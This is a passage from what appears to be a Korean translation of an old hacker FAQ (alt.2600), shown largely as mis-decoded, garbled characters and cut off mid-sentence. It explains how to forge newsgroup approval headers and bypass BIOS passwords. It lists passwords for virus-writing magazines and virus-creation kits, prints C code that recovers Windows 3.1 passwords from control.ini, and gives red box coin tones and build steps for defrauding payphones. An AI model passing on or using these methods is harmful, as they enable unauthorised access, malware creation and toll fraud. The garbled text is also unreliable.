¿É¼Ç Çì´õ¿¡´Â "Approved" Çì´õ°¡ ÀÖ´Ù. °ü¸®µÇ´Â ´º½º±×·ì¿¡ Æ÷½ºÆÃÀ» Çϱâ À§Çؼ­ ¸Þ½ÃÁö Çì´õ¿¡ Çã°¡µÈ(approved) Çì´õ ÁÙÀ» Ãß°¡Çϱ⸸ ÇÏ¸é µÈ´Ù. Çì´õ ÁÙ¿¡´Â ´º½º±×·ì °ü¸®ÀÚ e-mail ÁÖ¼Ò°¡ ÀÖ¾î¾ß ÇÑ´Ù. ´ë»ó ´º½º±×·ì¿¡ ´ëÇÑ ¹Ù¸¥ Æ÷¸ËÀ» º¸·Á¸é, ´º½º±×·ì¿¡¼­ ¸Þ½ÃÁö¸¦ ÀúÀåÇÏ¿© ¹®¼­ ÆíÁý±â¸¦ °¡Áö°í º¸µµ·Ï ÇÑ´Ù.

"Approved: Çì¹ö ÁÙÀº ´ÙÀ½°ú °°¾Æ¾ß ÇÑ´Ù.

Approved: [email protected]

¸Þ½ÃÁö Çì´õ¿¡´Â ºóÁÙÀÌ À־´Â ¾È µÈ´Ù. ºó ÁÙÀº ¸Þ½ÃÁöÀÇ ÀϺηΠÇؼ®µÈ´Ù.

´õ »ó¼¼ÇÑ Á¤º¸´Â RFC 1036À» Àб⠹ٸ¥´Ù. USENET ¸Þ½ÃÁöÀÇ Àü¼Û¿¡ ´ëÇÑ Ç¥ÁØÀÌ´Ù.

e-mail·Î Usenet¿¡ ¾î¶»°Ô Æ÷½ºÆÃÀ» Çϳª?

e-mail->Usenet °ÔÀÌÆ®¿þÀ̸¦ ÅëÇؼ­ÀÌ´Ù. e-mail ¸Þ½ÃÁö¸¦ <newsgroup>@<servername>À¸·Î

º¸³½´Ù. ¿¹¸¦ µé¾î, alt.2600¿¡ nic.funet.fi¸¦ ÅëÇØ Æ÷½ºÆÃÀ» Çϱâ À§Çؼ­ ¸ÞÀÏÀ» [email protected]·Î º¸³½´Ù.

e-mail->Usenet °ÔÀÌÆ®¿þÀÌÀÇ ¿¹°¡ ÀÖ´Ù.

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]


BIOS Æнº¿öµå´Â ¾î¶»°Ô ±ú³ª?

BIOS°¡ ¾î¶² °ÍÀ̳Ŀ¡ µû¶ó¼­ ´Þ¸®Áø´Ù. ÀϹÝÀûÀÎ BIOS¿¡´Â AMI, Award, IBM°ú Phoenix °ÍÀÌ ÀÖ´Ù. ´Ù¸¥ BIOSµµ ¸¹ÀÌ ÀÖµû. ±×·¯³ª, À̰͵éÀÌ °¡Àå ÈçÇÑ °ÍÀÌ´Ù.

¾î¶² BIOS´Â ½Ã½ºÅÛÀÌ ºÎÆÃÇϱâ Àü¿¡ Æнº¿öµå¸¦ ¹°¾îº»´Ù. ¾î¶² °ÍÀº BIOS ¼Â¾÷À» Çϱâ Àü¿¡ Æнº¿öµå¸¦ ¹¯´Â´Ù.

¸ðµç BIOS´Â ÀÌ·¯ÇÑ Á¤º¸¸¦ ¾îµò°¡¿¡ ÀúÀåÇØ µÎ¾î¾ß ÇÑ´Ù. ºÎÆÃÀÌ ¿ÂÀüÇÏ°Ô µÈ ±â°è¿¡ Á¢±ÙÇÒ ¼ö ÀÖµû¸é, Æнº¿öµå¸¦ º¼ ¼ö ÀÖÀ» °ÍÀÌ´Ù. Æнº¿öµå°¡ ¼û°ÜÁø ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ¾Ë¾Æ¾ß ÇÑ´Ù. ±×¸®°í Æнº¿öµå°¡ ÀúÀåµÈ Æ÷¸Ëµµ ¾Ë¾Æ¾ß ÇÑ´Ù. ¶Ç´Â ÀÌ°ÍÀ» ÇàÇÒ ¼ö ÀÖ´Â ÇÁ·Î±×·¥À» °¡Áö°í ÀÖ¾î¾ß ÇÑ´Ù.

Ami BIOS¿¡ ´ëÇÑ Æнº¿öµå °ø°Ý ÇÁ·Î±×·¥ÀÌ °¡Àå ÈçÇÏ´Ù. ¾î¶² Æнº¿öµå °ø°Ý ÇÁ·Î±×·¥Àº Æò¹®À¸·Î µÈ AMI BIOSÀÇ Æнº¿öµå¸¦ µ¹·ÁÁØ´Ù. ¾î¶² °ÍÀº ASCII·Î µÈ Äڵ带 µ¹·ÁÁÖ°í, ¾î¶² °ÍÀº ½ºÄµ ÄÚµå·Î µÈ °ÍÀ» µ¹·ÁÁØ´Ù. ÀÌ´Â Ami BIOSÀÇ ¹öÀü¿¡ µû¶ó ´Þ¶óÁú ¼öµµ ÀÖ´Â °ÍÀÌ°í ´Ü¼øÈ÷ Æнº¿öµå °ø°Ý ÇÁ·Î±×·¥¿¡¸¸ µû¶ó ´Þ¶óÁö´Â °ÍÀÌ ¾Æ´Ï´Ù.

BIOS Æнº¿öµå °ø°Ý ÇÁ·Î±×·¥À» ¾ò°í ½Í´Ù¸é, ftp¸¦ ÀÌ¿ëÇÏ¿© oak.oakland.edu/simtel/msdos/sysutil/¿¡¼­ ¹Þ¾Æ°¡±â ¹Ù¶õ´Ù.

ÆÄ¿ö¸¦ ÄÑ°í ³­ »óÅ¿¡¼­ ½Ã½ºÅÛ¿¡ Á¢±ÙÇÒ ¼ö ¾øÀ» °æ¿ì¿¡µµ Æнº¿öµå¸¦ ¿ìȸÇÒ ¼ö ÀÖ´Ù. Æнº¿öµå´Â CMOS ¸Þ¸ð¸®¿¡ ÀÖÀ¸¸ç, ÀÌ°ÍÀº ¸¶´õº¸µå¿¡ ÀÖ´Â ¹èÅ͸®¿¡ ÀÇÇؼ­ Àü¿øÀÌ ²¨Á® ÀÖÀ» ¶§µµ À¯ÁöµÈ´Ù. ¹èÅ͸®¸¦ Á¦°ÅÇϸé CMOS Á¤º¸°¡ ³¯¾Æ°£´Ù. ±â°è¸¦ ´Ù½Ã »ç¿ëÇϱâ À§Çؼ­ CMOS ¼Â¾÷À» ´Ù½Ã ÇØ ÁÖ¾î¾ß ÇÑ´Ù. ±â°èÀÇ ÁÖÀÎÀ̳ª »ç¿ëÀÚ´Â BIOSÀÇ Æнº¿öµå°¡ ¾ø¾îÁø °ÍÀ» ¾Ë°í ³î¶ó°Ô µÉ °ÍÀÌ´Ù.

¾î¶² ¸¶´õº¸µå¿¡¼­´Â ¹èÅ͸®°¡ ¸¶´õº¸µå¿¡ ³³¶«µÇ¾î ÀÖ¾î ºÐ¸®Çϱ⠾î·Æ´Ù. ¸¸¾à ÀÌ·± °æ¿ì¶ó¸é, ´Ù¸¥ ¹æ¹ýÀÌ ÀÖ´Ù. ¸¶´õº¸µå¿¡¼­ Æнº¿öµå¸¦ Áö¿ì´Â Á¡ÆÛ¸¦ ã´Â´Ù. ¸¶´õº¸µåÀÇ ¸Å´º¾óÀÌ ÀÖÀ¸¸é ±× Á¡ÆÛÀÇ À§Ä¡¸¦ ¾Ë ¼ö ÀÖ´Ù. ±×·¸Áö ¾Ê´Ù¸é, ¸¶´õº¸µå¿¡ Á¡ÆÛ°¡ Ç¥½ÃµÇ¾î ÀÖÀ» °ÍÀÌ´Ù. µÎ °æ¿ì¿¡ ÇØ´çÇÏÁö ¾Ê´Â´Ù¸é,¾î¶² Á¡ÆÛÀÎÁö ÃßÃøÇØ º¼ ¼ö ÀÖ´Ù. ´ëºÎºÐÀÇ °æ¿ì ¹èÅ͸® ±Ùó¿¡ Á¡ÆÛ°¡ ÀÖ´Ù.

¾ÏȣȭµÈ ÆÄÀÏÀÇ Æнº¿öµå´Â ¹«¾ùÀΰ¡?

ÀÌ FAQ´Â crypt¿¡ ÀÇÇؼ­ ÀÛ¼ºµÈ °ÍÀÌ´Ù. <[email protected]>

Magazine Password

~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~

VLAD Magazine Issue #1 vlad

VLAD Magazine Issue #2 vx

VLAD Magazine Issue #3 virus

NuKE InfoJournal Issue #2 514738

NuKE InfoJournal Issue #3 power

NuKE InfoJournal Issue #4 party

Program

~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~

Sphere Hacker 1.40 & 1.41 theozone

Virus Creation 2000 high level

Virus Construction Lab Chiba City

Ejecutor Virus Creator EJECUTOR

Biological Warfare v0.90 lo tek

Biological Warfare v1.00 freak


C/C++ ·Î ½ÇÇàÄڵ带 ¿ªÄÄÆÄÀÏÇÒ ¼ö ÀÖ´Â °¡´É¼ºÀº ¾ø´Â°¡?

ÀÌ FAQ´Â Bob StoutÀÌ ¾´ SNIPPET¿¡¼­ ÀοëÇÑ °ÍÀÌ´Ù.

¼ûÀ» ¸ØÃßÁö ¸¶¶ó. »ý°¢À» ÇØ º¸¶ó. ¿ªÄÄÆÄÀÏ·¯°¡ ÀÛµ¿Çϱâ À§Çؼ­ ¸ÕÀú 1) ¸ðµç ÄÄÆÄÀÏ·¯°¡ ÃÖÀûÈ­°¡ °¡Àå Àß ¼³Á¤µÇ¾úÀ» ¶§¶óµµ, µ¿ÀÏÇÑ Äڵ带 »ý¼ºÇØ¾ß ÇÏ°í, 2) ¿ªÄÄÆÄÀÏ·¯°¡ ¾î¶² ÄÄÆÄÀÏ·¯ÀÌ ÀÛ¼ºÇÑ Äڵ带 ¾Ë¾Æ¾ß ÇÑ´Ù.

¸¸ÀÏ Ã¹ ¹ø° Á¶°ÇÀÌ ¸Â´Ù¸é, ¸ðµç ÄÄÆÄÀÏ·¯ º¥Ä¡¸¶Å©´Â ¼Ò¿ë¾øÀ» °ÍÀÌ´Ù. ¿Ö³ÄÇÏ¸é ¸ðµç Äڵ尡 µ¿ÀÏÇÑ µ¿ÀÛÀ» Çϱ⠶§¹®ÀÌ´Ù. µÎ ¹ø° °æ¿ì°¡ ÂüÀ̶ó¸é, »õ·Î¿î ÄÄÆÄÀÏ·¯°¡ ³ª¿À´Â °ÍÀ» °í·ÁÇÏÀº ¸Å¿ì °Å´ëÇÑ ÇÁ·Î±×·¥ÀÌ µÇ¾î¾ß ÇÑ´Ù.

ÁÁ´Ù. ƯÁ¤ ÄÄÆÄÀÏ·¯¿¡ ´ëÇÑ Æ¯º°ÇÑ ¿ªÄÄÆÄÀÏ·¯¶ó¸é ¾î¶³±î? - BC++ 4.5¿¡¸¸ Àû¿ëµÇ´Â ¿ªÄÄÆÄÀÏ·¯¶ó¸é ¾î¶³±î? ÀÌ °æ¿ì ÃÖÀûÈ­ ¹®Á¦¿¡ ´ê°Ô µÈ´Ù. ¸íÈ®ÇÏ°í ÀÌÇØÇϱ⠽±°Ô ÀÛ¼ºµÈ ÄÚµå´Â ´ë°³ ºñÈ¿À²ÀûÀÌ´Ù. ÃÖ´ëÀÇ ¼º´ÉÀ» À§Çؼ­ ÀÛ¼ºµÈ ÄÚµå´Â ´ë°³ ³­ÇØÇÏ´Ù. ¿©±â¿¡ µ¡ºÙ¿© ¿ä»õ ÄÄÆÄÀÏ·¯Àº ¾î¶² ÃÖÀûÈ­¸¦ »ç¿ëÇÒÁö ¾Æ´ÒÁö¿¡ ´ëÇÑ ½ºÀ§Ä¡°¡ ÀÖ´Ù. ¿äÁ¡Àº Å« ÇÁ·Î±×·¥ÀÇ °æ¿ì ÃÖÀûÈ­ ½ºÀ§Ä¡¸¦ ¹Ù²ÞÀ¸·Î ´Ù¾çÇÑ ¿ÀºêÁ§Æ® ¸ðµâÀÌ »ý¼ºµÈ´Ù´Â °ÍÀÌ´Ù. ±×·¡¼­ ¿ªÄÄÆÄÀÏ·¯´Â ¾î¶² ÃÖÀûÈ­ ½ºÀ§Ä¡¸¦ »ç¿ëÇß´ÂÁö ¾Ë ¼ö ÀÖ¾î¾ß ÇÑ´Ù.

ÁÁ´Ù. ´õ °£´ÜÇÏ°Ô Æ¯Á¤ ÄÄÆÄÀÏ·¯ÀÇ ÃÖÀûÈ­¸¦ ¹ø¿ªÇÏÁö ¾Ê°í °¡Àå ³í¸®ÀûÀÎ ¿ø½Ã Äڵ带 ¿ªÄÄÆÄÀÏÇÑ´Ù°í ÇÏÀÚ. ±×·³ ¾î¶»°Ô µÇ´Â°¡? ÁÁÀº ÃÖÀûÈ­±â´Â ÄÚµåÀÇ ³»ºÎ°úÁ¤À» ÀçÀÛ¼ºÇϱ⠶§¹®¿¡, ¿ªÄ«ÀÏÇؼ­ ¾ò´Â °á°ú´Â Àб⠾î·Á¿ï »Ó¸¸ ¾Æ´Ï¶ó, ´ëºÎºÐÀÇ °æ¿ì goto ¹®°ú ÁÁÀº ÇÁ·Î±×·¥¿¡¼­´Â »ç¿ëÇؼ­´Â ¾È µÉ °Íµé·Î °¡µæ Â÷ ÀÖÀ» °ÍÀÌ´Ù. ¿©±â¼­ ¿ªÄÄÆÄÀÏµÈ ¿ø½º ÄÚµå´Â ¾ò°Ô µÇ°ÚÁö¸¸ ¹«½¼ ¼Ò¿ëÀÌ Àְڴ°¡?

±×¸®°í ¿ø½Ã ¸ðµâ¿¡ ´ëÇؼ­ ÁÖ¸ñÇÏÀÚ. CÀÇ Æ¯¼ºÁßÀÇ Çϳª°¡ ½±°Ô À¯Áöº¸¼öÇÒ ¼ö ÀÖ´Â ¿ø½Ã ¸ðµâ(.C)·Î ÂÉ°³Á® ÀÖÁö ¾ÊÀ» °æ¿ì Àüü·Î´Â Àб⠾î·Æ°Ô µÈ´Ù´Â °ÍÀÌ´Ù. ¿ªÄÄÆÄÀÏ·¯°¡ ±×°ÍÀ» ¾î¶»°Ô Çϰڴ°¡? ¿ªÄÄÆÄÀÏ·¯´Â ÇϳªÀÇ °Å´ëÇÑ main()ÇÔ¼ö¸¦ ¸¸µé¾î¼­ ¸ðµâ¼ºÀ» »ó½ÇÇÏ°Ô ÇÑ´Ù. ¶ÇÀº ÇÔ¼ö ÇϳªÇϳª¸¦ ÇϳªÀÇ ÆÄÀÏ·Î ¸¸µé·Á ÇÒ ¼ö ÀÖ´Ù. ÀüÀÚÀÇ °æ¿ì ¾µ¸ð ¾ø´Â °Å´ëÇÑ ÆÄÀÏÀ» »ý¼ºÇÏ°í µÎ ¹ø°ÀÇ °æ¿ì staticÀÇ ÇÔ¼ö³ª, º¯¼ö¸¦ ºÎ¸¦ °æ¿ì ¹®Á¦¸¦ ¾ß±âÇÑ´Ù. ¿ªÄÄÆÄÀÏ·¯°¡ static º¯¼ö¸¦ global·Î ¸¸µé¼öµµ ÀÖÀ¸³ª, ¿ª½Ã Çã¿ëÇÒ ¼ö ¾ø´Â °ÍÀÌ´Ù.

¸¶Áö¸·À¸·Î ´ëºÎºÐÀÇ »ó¿ë ÀÀ¿ë ÇÁ·Î±×·¥µéÀº ¼öÇà½Ã°£ÀÌ Âª¾Æ¾ß ÇÏ´Â ±â´ÉµéÀº ¾î¼Àºí¸®·Î ÀÛ¼ºÇÑ´Ù´Â °ÍÀÌ°í ÀÌ°ÍÀº C·Î ¿ªÄÄÆÄÀÏÇϱⰡ °ÅÀÇ ºÒ°¡´ÉÇÏ´Ù´Â °ÍÀÌ´Ù.

³»°¡ ¸»ÇßµíÀÌ ¼ûÀ» ¸ØÃßÁö¸¶¶ó. ¿ªÄÄÆÄÀÏÀ» °¡´ÉÇÏ°Ô ÇÏ´Â ±â¼úµéÀÌ ¹ßÀüÇÔ¿¡ µû¶ó¼­ »õ·Î¿î ÃÖÀûÈ­±â¿Í ¾ð¾î(C++°ú °°Àº)´Â ±×°°Àº °ÍÀ» ¸¸µé±â ´õ ¾î·Æ°Ô ÇÒ °ÍÀÌ´Ù.

¿À·§µ¿¾È UNIX ÀÀ¿ëÇÁ·Î±×·¥Àº ÁöÀúºÐÇÑ ¼Ò½º ÄÚµå ÇüÅ·Π¹èÆ÷µÇ¾î(±â°è³ª ÀÐÀ» ¼ö ÀÖÁö Àΰ£Àº ÀÌÇØÇÒ ¼ö ¾ø´Â - ¸ðµç °ø¹é¹®ÀÚ¿Í ÄÚ¸ÇÆ®¸¦ Áö¿ì°í º¯¼öÀ̸§Àº OIOI µîÀ¸·Î ¹Ù²Ù¾î) ÀúÀÛ±ÇÀ» º¸È£ÇÏ·Á Çß´Ù. ¿ªÄÄÆÄÀÏ·¯ÀÇ °á°ú¹°µµ ÁöÀúºÐÇÑ ¼Ò½º ÄÚµå¿Í ¸¶Âù°¡Áö·Î ÀÌÇØÇϱ⠾î·Á¿ï °ÍÀÌ´Ù.

MS-WindowsÀÇ Æнº¿öµå ¾ÏÈ£´Â ¾î¶»°Ô µ¿ÀÛÇϳª?

ÀÌ FAQ´Â Wayne Hoxie<[email protected]>¿¡ ÀÇÇؼ­ ÀÛ¼ºµÇ¾ú´Ù.

MS Win 3.1¿¡¼­ Æнº¿öµå ¿É¼ÇÀº ½±°Ô ¿ìȸÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª, À©µµ¿ì¿¡¼­ ¾î¶»°Ô Æнº¿öµå¸¦ ó¸®ÇÏ´ÂÁö ±Ã±ÝÇØ ÇÏ´Â »ç¶÷µéÀÌ ÀÖÀ» °ÍÀÌ´Ù. ½ÇÁ¦ Æнº¿öµå¸¦ ¾Æ´Â °ÍÀÌ À¯¿ëÇÑ ¸¹Àº ÀÌÀ¯°¡ ÀÖ´Ù. UNIXÀÇ root Æнº¿öµå¿Í À©µµ¿ìÀÇ Æнº¿öµå¸¦ µ¿ÀÏÇÏ°Ô »ç¿ëÇÏ°í ÀÖ´Ù°í »ý°¢ÇØ º¸¶ó.

¾î·´ø, ¾Ë°Ô µÈ ¾Ë°í¸®ÁòÀ» Àü´ÞÇÏ°Ú´Ù.

Æнº¿öµå¸¦ Ä¡°í [OK] ¹öÆ°À» ´©¸£°í ³­ ´ÙÀ½ÀÇ °úÁ¤ºÎÅÍ ¼³¸íÀ» ÇÑ´Ù.

¸ðµç »ç¶÷ÀÌ(Àû¾îµµ Èï¹Ì¸¦ °¡Áö°í ÀÖ´Â) XOR ¿¬»êÀÌ ¹«¾ùÀÎÁö ¾Ë°í ÀÖ´Ù°í °¡Á¤ÇÑ´Ù.

¸ÕÀú, Æнº¿öµåÀÇ ±æÀÌ°¡ ÀúÀåµÈ´Ù. ÀÌ°ÍÀ» 'len'À̶ó°í ºÎ¸£°Ú´Ù. ÀÔ·ÂµÈ ¹®ÀÚ¿­À» ¾ÏȣȭÇÏ¿© ´Ù¸¥ ¹®ÀÚ¿­·Î ¹Ù²Û´Ù. ¸ÕÀú ÀÔ·ÂµÈ ¹®ÀÚ¿­À» 'plain text(Æò¹®)'À̶ó°í ºÎ¸£°Ú´Ù. ±×¸®°í ¾ÏȣȭµÈ ¹®ÀÚ¿­(µÎ¹øÀÇ °úÁ¤À» °ÅÄ¡´Âµ¥)À» 'hash1', 'hash2'¶ó°í ºÎ¸£°Ú´Ù. Æò¹®ÀÇ À§Ä¡´Â ÀÌ °úÁ¤¿¡¼­ Áß¿äÇѵ¥ ÀÌ°ÍÀ» 'pos'¶ó°í ºÎ¸£ÀÚ. Çؽ³ °úÁ¤ÀÇ °¢ ´Ü°è¸¦ °ÅÄ¡°í³ª¼­, ¹®ÀÚ´Â À©µµ¿ì°¡ Ưº°ÇÏ°Ô'special' »ý°¢ÇÏ´Â ¹®ÀÚ¿­°ú ºñ±³µÈ´Ù. ÀÌ ¹®ÀÚµéÀº '[ ] ='¿Í ASCII 33 ÀÌÇϳª ASCII 126 ÀÌ»óÀÇ ¹®ÀÚÀÌ´Ù. ÀÌ °Ë»ç ¿¬»êÀ» 'is_ok'¶ó°í ºÎ¸£°Ú´Ù. ¸ðµç ÀÎÅؽº´Â 0À» ±âÁØÀ¸·Î ÇÑ´Ù.(´Ù½Ã ¸»ÇØ 8°³ÀÇ ¹®ÀÚ Æнº¿öµå´Â 0ºÎÅÍ 7±îÁöÀÌ´Ù.)

ÀÌÁ¦, 'Æò¹®'ÀÇ Ã¹ ¹ø° ¹®ÀÚ´Â 'len'°ú xorµÇ¾î 'is_ok'·Î µé¾î°£´Ù. Á¤´çÇÑ ¹®ÀÚ°¡ ¾Æ´Ñ °æ¿ì, ¿ø·¡ÀÇ 'Æò¹®'ÀÇ ¹®ÀÚ·Î ´ëÄ¡µÇ¾î ´ÙÀ½ ¿¬»êÀ¸·Î ÁøÇàÇÑ´Ù. ´ÙÀ½ ¿¬»ê¿¡¼­ 'pos'¿Í xor ¿¬»êÀ» ÇÑ´Ù.(ÀÌ°ÍÀº ù ¹ø° ¿¬»ê¿¡¼­´Â ¼Ò¿ë¾ø´Â °ÍÀÌ´Ù ¿Ö³ÄÇϸé 'len'ÀÌ 0ÀÌ°í 0°ú xorµÈ °ÍÀº ±× ÀÚ½ÅÀÌ µÇ±â ¶§¹®ÀÌ´Ù.) ±×¸®°í 'is_ok'·Î º¸³»°í ¿Ã¹Ù¸¥ °ÍÀÌ ¾Æ´Ò °æ¿ì ¿ø·¡ÀÇ °ÍÀ¸·Î ´ëÄ¡ÇÑ´Ù. (¹®ÀÚ ´ç) ¸¶Áö¸· ¿¬»êÀº xor¸¦ ¾ÕÀÇ 'Æò¹®'ÀÇ ¹®ÀÚ¿Í xorÇÏ´Â °ÍÀÌ´Ù. ÀÌÀü ¹®ÀÚ°¡ ¾øÀ¸¹Ç·Î, °íÁ¤µÈ °ª 42¸¦ 'Æò¹®'ÀÇ Ã¹ ¹ø° ¹®ÀÚ¿¡ ´ëÇØ »ç¿ëÇÑ´Ù. ÀÌ°ÍÀº 'is_ok'·Î º¸³»Áö°í ¸¸ÀÏ OK¶ó¸é, 'hash1'ÀÇ Ã¹ ¹ø° À§Ä¡¿¡ ÀúÀåµÈ´Ù. ÀÌ °úÁ¤Àº Æò¹®ÀÇ ¸ðµç ¹®ÀÚ¿¡ ´ëÇØ ÀüºÎ ¼öÇàÇÑ´Ù. ´ÙÀ½ Æнº(pass)´Â ¸Å¿ì À¯»çÇÏ´Ù. ½ÃÀÛÁ¡ÀÌ hash1ÀÇ ¸¶Áö¸· ¹®ÀÚÀÌ´Ù. ±×¸®°í °á°ú´Â µÚ¿¡¼­ ¾ÕÀ¸·Î hash2¿¡ µé¾î°£´Ù. ¶ÇÇÑ, ¸¶Áö¸· xorÇÏ´Â ½ÃÁ¡¿¡¼­ ÀÌÀü ¹®ÀÚ¸¦ ÀÌ¿ëÇÏ´Â ´ë½Å ÇöÀç ¹®ÀÚ ´ÙÀ½ÀÇ ¹®ÀÚ°¡ ÀÌ¿ëµÈ´Ù. hash1¿¡¼­ ¸¶Áö¸· ´ÙÀ½¿¡ ³ª¿À´Â ¹®ÀÚ°¡ ¾øÀ¸¹Ç·Î, 42°ªÀÌ ¸¶Áö¸· ¹®ÀÚ´ë½Å¿¡ ÀÌ¿ëµÈ´Ù.

'hash2'´Â ¸¶Áö¸· ¹®ÀÚ¿­ÀÌ°í À©µµ¿ì°¡ CONTROL.INI¿¡ ÀúÀåÇÏ´Â °ªÀÌ´Ù.

Æнº¿öµå¸¦ º¹È£È­'decrypt'Çϱâ À§Çؼ­ À§ÀÇ °úÁ¤À» ´ÜÁö °Å²Ù·Î ÇÏ¸é µÈ´Ù.

ÀÌÁ¦, ±â´Ù·È´ø °ÍÀÌ ¿Ô´Ù. ¿ì¸®¸¦ À§ÇØ ¾î·Á¿î ÀÏÀ» ÇØ ÁÙ C ÄÚµåÀÌ´Ù.

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int xor1(int i,int j)

{

int x;

x=i^j;

return (x>126||x<33||x==91||x==93||x==61)?i:x;

}

void main()

{

FILE *f;

int i,l;

char s[80],s1[80];

printf("Please enter the path to your Windows directory\n");

gets(s1);

sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");

if((f=fopen(s,"rt"))==NULL){

printf("File Error : %s\n",sys_errlist[errno]);

exit(0);

}

while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));

fclose(f);

strtok(s1,"=\n");

strcpy(s,strtok(NULL,"\n"));

i=strlen(s)-1;

for(l=i;l>-1;l--)

s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);

for(l=0;l<i+1;l++)

s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);

printf("The Password is: %s\n",s);

}




³ª Àý. ÀüÈ­ÇØÅ·(Telephony)

Àû»ö ±â°è(Red Box)¶õ ¹«¾ùÀΰ¡?

°øÁßÀüÈ­¿¡ µ¿ÀüÀ» ³ÖÀ¸¸é °øÁßÀüÈ­´Â ACTS(Automated Coin Toll System)¿¡ ½ÅÈ£À½ÀÇ ÁýÇÕÀ» º¸³½´Ù. Àû»ö »óÀÚ´Â ACTS°¡ µ¿ÀüÀ» ³Ö¾ú´Ù°í ¹Ï°Ô ¼ÓÀδÙ. Àû»ý »óÀÚ´Â TCTS ½ÅÈ£À½À» ¤±³ªµé¾î ÀüÈ­ ¼ÛÈ­±â¿¡ º¸³½´Ù. ACTS´Â ÀÌ·¯ÇÑ ½ÅÈ£À½À» µè°í ÀüÈ­¸¦ ÇÒ ¼ö ÀÖ°Ô Çã¿ëÇÑ´Ù. ½ÇÁ¦ ½ÅÈ£À½Àº ´ÙÀ½°ú °°´Ù.

Nickel Signal 1700+2200hz 0.060s on

Dime Signal 1700+2200hz 0.060s on, 0.060s off, twice repeating

Quarter Signal 1700+2200hz 33ms on, 33ms off, 5 times repeating

Ä«³ª´Ù´Â ACTSDÀÇ º¯ÇüÀÎ N-ACTS¸¦ ÀÌ¿ëÇÑ´Ù. N-ACTS ´Â ACTS¿Í´Â ´Ù¸¥ À½À» »ç¿ëÇÑ´Ù. Ä«³ª´Ù¿¡¼­ ½ÅÈ£À½Àº ´ÙÀ½°ú °°´Ù.

tones than ACTS. In Canada, the tones to use are:

Nickel Signal 2200hz 0.060s on

Dime Signal 2200hz 0.060s on, 0.060s off, twice repeating

Quarter Signal 2200hz 33ms on, 33ms off, 5 times repeating


Àû»ö ±â°è´Â ¾î¶»°Ô ¸¸µå³ª?

Àû»ö »óÀÚ´Â Radio Shack tone dialer, Hallmark greeting cards, ¶Ç´Â ½±°Ô ±¸ÇÒ ¼ö ÀÖ´Â ÀüÀÚºÎ

Ç°À» °¡Áö°í óÀ½ºÎÅÍ ¸¸µé ¼ö ÀÖ´Ù.

Àû»ö »óÀÚ¸¦ Shack 43-141¶Ç´Â 43-146 Åæ ´ÙÀ̾󷯷κÎÅÍ ¸¸µé·Á°í ÇÑ´Ù¸é ´ÙÀ̾󷯸¦ ¿­°í crystalÀ» »õ °ÍÀ¸·Î ±³Ã¼ÇÑ´Ù. »õ °ÍÀ¸·Î ±³Ã¼ÇÏ´Â ¸ñÀûÀº * ¹öÆ°ÀÌ 941Mhz¿Í 1209Mhz ´ë»ê1700Mhz¿Í 2200MhzÀÇ ½ÅÈ£À½(tone)À» ³»µµ·Ï Çϱâ À§Çؼ­ÀÌ´Ù. ±³Ã¼ÇØ¾ß ÇÒ ¼öÁ¤Áøµ¿ÀÚÀÇ °ªÀº 6.466806À» ÀÌ¿ëÇÏ¿© ¿Ïº®ÇÑ 1700MhzÀÇ ½ÅÈ£À½À» 6.513698À» ÀÌ¿ëÇÏ¿© ¿Ïº®ÇÑ 2200MhzÀÇ À½À» »ý¼ºÇÒ ¼ö ÀÖ´Ù. ÀÌ °ª¿¡ ±Ù»çÇÑ ¼öÁ¤Áøµ¿ÀÚ´Â ACTSÀÇ ¿ÀÂ÷Çã¿ëÄ¡ ³»¿¡ µé¾î¿À´Â ½ÅÈ£À½À» »ý¼ºÇÒ °ÍÀÌ´Ù. °¡Àå ÀαâÁÁÀº °ÍÀº 6.5536MhzÀÇ ¼öÁ¤Áøµ¿ÀÚÀÌ´Ù. ¿Ö³ÄÇϸé ÀÌ°ÍÀÌ È¹µæÇϱ⠰¡Àå ½¬¿î Á¾·ùÀ̱⠶§¹®ÀÌ´Ù. ¿À·¡µÈ ¼öÁ¤Áøµ¿ÀÚ´Â Å©°í ºû³ª´Â ±Ý¼Ó ºÎÇ°À¸·Î "3.579545Mhz"¶ó°í ÂïÇôÀÖ´Ù. ¼öÁ¤Áøµ¿ÀÚÀÇ ±³Ã¼°¡ ³¡³ª¸é, ´Ù¼¸ °³ÀÇ *¿Í ÇÔ²² P1 ¹öÆ°À» ÇÁ·Î±×·¥ÇÑ´Ù. ÀÌ°ÍÀº P1À» ´©¸¦ ¶§¸¶´Ù 25¼¾Æ®µ¿ÀüÀÇ ½ÅÈ£À½À» Èä³»³½´Ù.


6.5536MhzÀÇ ¼öÁ¤Áøµ¿ÀÚ´Â ¾îµð¼­ ±¸Çϳª?

ÀüÀÚºÎÇ° »óÁ¢¿¡¼­ ±¸ÇÒ ¼ö ÀÖ´Ù. Radio Shack¿¡¼­ ÆǸÅÇÏ°í ÀÖ´Ù. ±×·¯³ª, ºñ½Î°í °¡°Ô¿¡¼­µµ ÁÖ¹®À» ÇØ¾ß ÇÑ´Ù. 2ÁÖ Á¤µµ°¡ °É¸°´Ù. ´õ¿íÀÌ ¸¹Àº Radio Shack Á¡¿øµéÀº ÀÌ·¸°Ô ÇÒ ¼ö ÀÖ´Ù´Â °Íµµ ¸ð¸¥´Ù. ¶Ç´Â ¼öÁ¤Áøµ¿ÀÚ¸¦ ¿ìÆíÀ¸·Î ÁÖ¹®ÇÒ ¼ö ÀÖ´Ù. ¿©±â¿¡´Â ¼öÁ¤Áøµ¿ÀÚº¸´Ù ÈξÀ ºñ½Ñ ¿î¼Ûºñ¸¦ Æ÷ÇÔÇÏ°Ô µÈ´Ù. µû¶ó¼­ ¿©·¯¸íÀÌ ÇÔ²² ÁÖ¹®Çؼ­ ¿î¼Ûºñ¸¦ ÁÙÀÌ´Â °ÍÀÌ °¡Àå ÁÁ´Ù. ¾Æ´Ï¸é ´ë¿©¼¸°³¸¦ ÇѲ¨¹ø¿¡ »ê ´ÙÀ½ ´Ù¸¥ »ç¶÷¿¡ ÆȾƵµ 